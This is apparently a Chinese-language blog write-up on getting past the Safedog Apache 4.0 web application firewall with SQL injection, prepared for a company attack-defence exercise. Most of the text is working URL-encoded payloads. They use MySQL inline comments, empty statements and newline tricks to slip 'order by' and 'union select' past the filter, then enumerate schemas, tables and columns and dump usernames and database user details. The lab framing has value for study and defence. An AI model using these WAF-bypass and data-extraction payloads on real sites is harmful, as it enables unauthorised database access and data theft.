最近虽然比较忙,但是还是想写点技术方面的东西做个记录。
正好给公司攻防环境出了一道web的题加了狗,就试着绕一下分享出来吧.
用了最新版的安全狗apache版本4.0
漏洞环境
and 1=1拦截
and ord(0x1) == and True
and ord(0x0) == and False
正常order by 被咬
在 order 和by之间放点无效字符,然后再换个行
order /*|--|*/--+%20%0Aby 3%23 绕过
union select 1,2,3 被咬
这里用内连注释+空语句+注释+换行
注:MySQL数据库为了保持与其他数据库兼容,特意新添加的功能。 为了避免从MySQL中导出的SQL语句不能被其他数据库使用,它把一些 MySQL特有的语句放在 /! ... / 中,这些语句在不兼容的数据库中使用时便 不会执行。而MySQL自身却能识别、执行。 /50001 /表示数据库版本>=5.00.01时中间的语句才会执行。
/*!union*/ /*!*/ --+1%0Aselect 1,2,3 %23 绕过
不演示被咬的了...
到了这里就比较简单了
内连注释+空语句+注释+换行 可绕所有
/*!union*//*!*/--+1%0A%0ASELECT 1,2,concat(/*!schema_name*/) /*!from*/ information_schema.schemata--+*/%23
/*!union*//*!*/--+1%0A%0ASELECT 1,2,concat(/*!table_name*/) /*!from*/ information_schema.tables where table_schema=0x747261696E--+*/%23
/*!union*//*!*/--+1%0A%0ASELECT 1,2,concat(/*!column_name*/) /*!from*/ information_schema.columns where table_name=0x7573657273--+*/%23
/*!union*//*!*/--+1%0A%0ASELECT%201,2,concat(/*!username*/)%20/*!from*/%20users--+*/%23
这里常规的方法还是被咬,但是用变量处理一下就直接过了。
/*!union*//*!*/--+1%0ASELECT 1,@s:=database/**/(),1%23 /*!union*//*!*/--+1%0ASELECT 1,@s:=user/**/(),1%23